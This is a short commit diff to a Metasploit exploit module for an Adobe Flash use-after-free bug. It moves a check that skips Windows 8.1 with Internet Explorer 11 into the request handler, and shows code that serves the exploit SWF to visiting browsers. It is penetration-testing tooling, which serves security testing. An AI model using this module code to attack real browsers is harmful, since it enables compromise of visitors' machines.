Do it in on_request_exploit because it's too specific

modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

@@ -65,15 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
             false
           end,
-          :ua_ver  => lambda do |ver|
-            # Not reliable enough yet, don't fire
-            case target.name
-            when 'Windows'
-              return false if ver == '11.0'
-            end
-
-            true
-          end,
           :flash   => lambda do |ver|
             case target.name
             when 'Windows'
@@ -114,6 +105,12 @@ class Metasploit3 < Msf::Exploit::Remote
   def on_request_exploit(cli, request, target_info)
     print_status("Request: #{request.uri}")
 
+    if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
+      print_warning("Target setup not supported")
+      send_not_found(cli)
+      return
+    end
+
     if request.uri =~ /\.swf$/
       print_status('Sending SWF...')
       send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})